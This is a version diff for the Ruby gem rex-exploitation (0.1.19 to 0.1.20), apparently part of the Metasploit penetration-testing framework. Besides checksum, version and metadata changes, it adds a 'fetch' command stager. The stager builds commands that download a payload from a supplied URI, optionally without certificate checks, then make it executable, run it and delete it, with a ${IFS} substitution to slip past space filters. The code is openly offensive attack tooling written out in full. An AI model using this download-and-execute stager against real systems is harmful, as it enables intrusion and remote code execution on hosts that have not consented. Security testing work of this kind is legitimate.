rex-exploitation 0.1.19 → 0.1.20

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: 430d6b48945fae1895854f635edfb566ef2f001f
-  data.tar.gz: 6abf2b49f2cbdd8b56823ff62368e30700d5217d
+  metadata.gz: 0aaa3da8a46b9a3ca7b6e761115b5ff46d877e78
+  data.tar.gz: 8b71ba84e43d183fba7d8689b01c96c568166859
 SHA512:
-  metadata.gz: bd3e788376e6278f369fc2ef46e52bc0f1729efa22cd671a0a376abc82f10df6189ad9580490c38029df035ba6f1f55e5d975293fd2cbe23837d439beeb20df8
-  data.tar.gz: a87ed63347bbd50fae78c82e4673d3835fe1d5862dae7e51f74adc3ba22b8ae9209e32ddd110725b01daab53fddc52927c97995c4dc253f2aa37e2099fd6ecd9
+  metadata.gz: 6a8d5911aad13135cb332e9296717e4db57edaac632f62ad01adfd9a9763c3e9601913efad0834c090eb5c0762cea2592e801b6474b35019204f946b10bd082f
+  data.tar.gz: a11621afbf26ca6850ac7efe9be95e4ed6db8d668f35c869b96bd658c64e78433e8026564f3707b5af50e71e06b94eaab55299c5c2cce18b8a248899e5eaadc8

data/lib/rex/exploitation/cmdstager.rb

@@ -11,3 +11,4 @@ require 'rex/exploitation/cmdstager/echo'
 require 'rex/exploitation/cmdstager/printf'
 require 'rex/exploitation/cmdstager/wget'
 require 'rex/exploitation/cmdstager/curl'
+require 'rex/exploitation/cmdstager/fetch'

data/lib/rex/exploitation/cmdstager/fetch.rb

@@ -0,0 +1,57 @@
+# -*- coding: binary -*-
+
+class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase
+
+  def http?
+    true
+  end
+
+  def user_agent
+    /^fetch/
+  end
+
+  def generate(opts = {})
+    if opts[:payload_uri].nil?
+      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
+    end
+
+    opts[:temp] ||= '/tmp'
+    opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    @payload_path = "#{opts[:temp]}/#{opts[:file]}"
+
+    super
+  end
+
+  def generate_cmds_payload(opts)
+    cmds = []
+    nvp  = '--no-verify-peer'
+
+    if opts[:ssl]
+      cmds << "fetch -qo #{@payload_path} #{nvp} #{opts[:payload_uri]}"
+    else
+      cmds << "fetch -qo #{@payload_path} #{opts[:payload_uri]}"
+    end
+
+    cmds
+  end
+
+  def generate_cmds_decoder(opts)
+    cmds = []
+
+    cmds << "chmod +x #{@payload_path}"
+    cmds << @payload_path
+    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
+
+    cmds
+  end
+
+  def compress_commands(cmds, opts)
+    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
+    super
+  end
+
+  def cmd_concat_operator
+    ';'
+  end
+
+end

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.19"
+    VERSION = "0.1.20"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.19
+  version: 0.1.20
 platform: ruby
 authors:
 - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
   G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
   8mVuTXnyJOKRJA==
   -----END CERTIFICATE-----
-date: 2018-04-11 00:00:00.000000000 Z
+date: 2018-12-21 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: bundler
@@ -257,6 +257,7 @@ files:
 - lib/rex/exploitation/cmdstager/debug_asm.rb
 - lib/rex/exploitation/cmdstager/debug_write.rb
 - lib/rex/exploitation/cmdstager/echo.rb
+- lib/rex/exploitation/cmdstager/fetch.rb
 - lib/rex/exploitation/cmdstager/printf.rb
 - lib/rex/exploitation/cmdstager/tftp.rb
 - lib/rex/exploitation/cmdstager/vbs.rb